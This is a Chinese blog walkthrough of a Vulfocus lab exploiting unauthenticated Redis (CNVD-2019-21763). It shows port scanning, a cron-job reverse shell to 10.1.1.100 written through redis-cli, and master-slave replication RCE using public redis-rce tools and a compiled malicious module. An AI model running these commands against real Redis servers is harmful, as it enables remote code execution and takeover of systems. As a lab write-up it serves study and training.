VULFOCUS-redis未授权访问(CNVD-2019-21763 )

CNVD-2019-21763

描述

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

攻击机:VPS
目标机器:vulfocus  redis 未授权访问 (CNVD-2019-21763)

漏洞发现

端口探测

nmap -v -Pn -p 6379 -sV 123.58.224.8 

#发现存在6379 redis服务默认端口

尝试使用 redis-cli 客户端连接

发现可以连接

写定时任务反弹shell

发现save不了,链接不稳定,尝试其他方法

redis-cli -h 123.58.224.8 -p 16632

set xxx "\n\n 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433
0>&1\n\n"

config set dir /var/

config set dbfilename root

save

主从复制RCE

如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。

手动编译 so 扩展文件

编译生成so扩展文件

git clone https://github.com/puckiestyle/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand

make

脚本利用Redis主从复制RCE

https://github.com/puckiestyle/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
https://github.com/Dliv3/redis-rogue-server
https://github.com/vulhub/redis-rogue-getshell
git clone https: github.com/Ridter/redis-rce

cd redis-rce

python3 -m pip install -r requirement.txt

cp /home/ubuntu/RedisModules-ExecuteCommand/module.so ./module.so

python redis-rce.py -r 123.58.224.8 -p 58728 -L VPS ip -P vps port -f modules.so

get shell 拿到flag

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值